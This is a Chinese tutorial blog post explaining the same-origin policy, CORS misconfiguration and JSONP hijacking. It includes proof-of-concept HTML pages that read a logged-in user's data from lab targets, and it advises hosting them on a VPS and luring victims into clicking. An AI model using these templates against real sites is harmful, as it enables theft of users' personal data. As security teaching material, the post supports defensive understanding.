Jsonp&Cors跨域(同源策略、跨域、劫持漏洞)

目录

一、同源策略

1.什么是同源策略

二.CORS

1.什么是CORS

 2.CORS跨域漏洞

3.案例演示

4.漏洞危害

三.JSONP

1.JSONP劫持漏洞

2.案例演示

3.JSONP的危害

四.JSONP和CORS的区别


一、同源策略

1.什么是同源策略

同源策略 SOP(Same Origin Policy)是一种约定,他是浏览器最核心也最基本的安全功能,很大程序上防止了XSS、CSRF攻击.

一个完整的uri分为以下几个部分,当请求的url的协议、域名、端口三者之间任意一个与当前页面url不同即为跨域(不同源),即使不同域名指向同一个IP也不可以.

 为了更好的解释这个概念 , http://www.example.com/dir/index.html为例 , 大家观看那些是同源的

 HTML标签跨域加载资源(资源类型是有限止的)是不受同源策略限制的

<script src="...">         //加载本地 js 执行
<img src="...">         //图片
<link href="...">         //css
<iframe src="...">         //任意资源

二.CORS

1.什么是CORS

CORS Cross-Origin Resource Sharing )跨域资源共享,其思想是使用自定义的 HTTP 头部字段让浏览 器与服务器进行沟通,它允许浏览器向跨域服务器发出XMLHttpRequest 请求,从而克服 AJAX 只能同源 使用的限制。
CORS 的基本原理是 当浏览器在进行跨域请求时,会在请求中添加头部 origin 来表明自己的协议、主 机、端口号,当服务器接到请求并且看到这个origin 头部时,如果设置过允许此域名进行访问,就得添 加头部Access-Control-Allow-Origin 到响应里面,浏览器看到服务器传回来的这个头部就知道能不能进行跨域请求了。

 2.CORS跨域漏洞

介绍:因为同源策略的存在,不同源的客户端脚本不能访问目标站点的资源,如果目标站点 CORS 配置不 当,没有对请求源的域做严格限制,导致任意源都可以访问时,就存在cors 跨域漏洞题。
原理:攻击者可以利用 Web 应用对用户请求数据包的 Origin 头校验不严格,诱骗受害者访问攻击者制作 好的恶意网站,从而跨域获取受害者的敏感数据.
CORS 中关键的几个响应头字段如下:
Access-Control-Allow-Origin :指定哪些外域可以访问本域资源;
Access-Control-Allow-Credentials :指定浏览器是否将使用请求发送 Cookie 。仅当设置 true
时,才会发送 Cookie ;默认是 false
Access-Control-Allow-Methods :指定可以使用哪些 HTTP 请求方法( GET POST PUT DELETE 等)来访问资源;
Access-Control-Allow-Headers :指定可以在请求报文中添加的 HTTP 头字段;
Access-Control-Max-Age :指定超时时间;

3.案例演示

靶场地址

http://1.15.136.212:8080/cors1 

 可以很明显的看到个人的敏感信息 , 接下来抓包探测是否存在cors

从响应包中可以看到可能存在CORS漏洞

漏洞利用
<html>
<head>
<script type = "text/javascript" >
// 当前窗口加载完毕 , 执行 cors 函数
window . onload = function cors () {
// 初始化一个 xhttp 变量
var xhttp = new XMLHttpRequest ();
xhttp . onreadystatechange = function () {
if ( this . readyState == 4 && this . status == 200 ) {
document . getElementById ( "demo" ). innerHTML = alert (
this . responseText
);
}
};
xhttp . open ( "GET" , "http://1.15.136.212:8080/cors1" , true ); // 只需要修改存在cors url 即可
xhttp . withCredentials = false ;
xhttp . send ();
};
</script>
</head>
<body>
<textarea id = "demo" ></textarea>
</body>
</html>
将我们的利用脚本放在 web 服务上 , 然后把整个 url 发给受害者 , 诱惑他点击 url
我们假装受害者访问 url

4.漏洞危害

攻击者构造恶意的 html 页面,利用链接诱导受害者进行点击,从而获取受害者的敏感信息

三.JSONP

JSONP JSON with padding (填充式 JSON 或参数式 JSON )的简写,是基于 JSON 格式达的为解决跨域 请求资源而产生的解决方案。他实现的基本原理是利用的script 标签的 src 属性不受同源策略影响的特 性,来跨越获取数据。
说人话就是:可以让网页从别的域名(网站)那获取资料,即跨域读取数据.

1.JSONP劫持漏洞

JSON 劫持又称 "JSON Hijacking" 。当网站通过 JSONP 的方式来跨域传递用户认证后的敏感信息时, 如果 服务端对 JSONP 的请求来源校验不严格,那么攻击者可以构造恶意的 JSONP 调用页面,诱导被攻击者访 问达到截取用户敏感信息的目的.

jsonp csrf 类似,都是需要用户登录帐号,身份认证还没有被消除的情况下访问攻击者精心设计好的的页面。就会获取 json 数据,把 json 数据发送给攻击者。
利用过程:寻找敏感 json 数据 api 接口,构造恶意的代码。 发送给用户,用户访问有恶意的页面,数据会被劫持发送到远程服务器。
产生漏洞的原因 : 网站没有对 JSONP 请求来源进行校验和过滤导致任意域都能够获取数据。

2.案例演示

直接访问 url , 先不要管这个 url 对应的参数是怎么知道的
http://192.168.174.1/NEW/jsonp/user.php?callback=jsonp2

根据 url 参数 , 以及返回的有敏感信息 , 猜想可能存在 jsonp 劫持漏洞 , 构建 poc
POC 模板
<!DOCTYPE html>
<html>
<head>
<meta charset = "utf-8" >
<title> jsonp 劫持 </title>
<script src = "http://apps.badimg.com/libs/jquery/1.10.2/jquery.min.js" >
</script>
</head>
<body>
<script>
function jsonp2 ( data ){
alert ( JSON . stringify ( data ));
}
</script>
<script src = "http://192.168.174.1/jsonp/user.php?callback=jsonp2" ></script>
</body>
</html>

 然后访问

http://192.168.174.1/NEW/Jsonp/jsonp.html                #在自己的web服务下创建的HTML

 实战中只需要修改src对应的值 , 并把该文件放在vps上即可

1. 用户在网站 A 注册的能路,网站 A 接口返回数据包含用户的 id name email 等,个人用户数据。
2. 用户打开攻击者发送给用户的 URL ,向网站 B 发起请求
3. 网站 B 向用户返回响应页面,响应页面中包含回调函数和向网站 A 请求的 script 标签。
        <script>
                function jsonp2(data){
                        alert(JSON.stringify(data));
                }
        </script>
        <script src="https://www.xxx.com/api?callback=jsonp2"></script>
4. 用户收到响应后,解析 JS 代码,将回调函数作为参数向网站 A 发送请求。
5. 网站 A 收到请求后,以 JSON 格式生成请求需要的数据(用户信息)将数据作为回调函数的参数返回给浏览器。
json2({"id":1,"name":"test","email":"test@test.com"})
6. 网站 B 收到响应数据后,浏览器自动执行回调函数,将返回的数据进行弹窗处理

3.JSONP的危害

攻击者构造恶意的html页面,利用链接诱导受害者进行点击,从而获取到受害者的敏感信息.

四.JSONP和CORS的区别

JSONP的原理是动态创建script标签
        1.JSONP发送的不是ajax请求
        2.JSONP不支持post请求
        3.JSONP没有兼容问题
CORS中文意思是跨域资源共享,需要在服务器端设置cops配置

        1.CORS发送的是真正的ajax请求

        2.CORS既支持get 又支持post

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值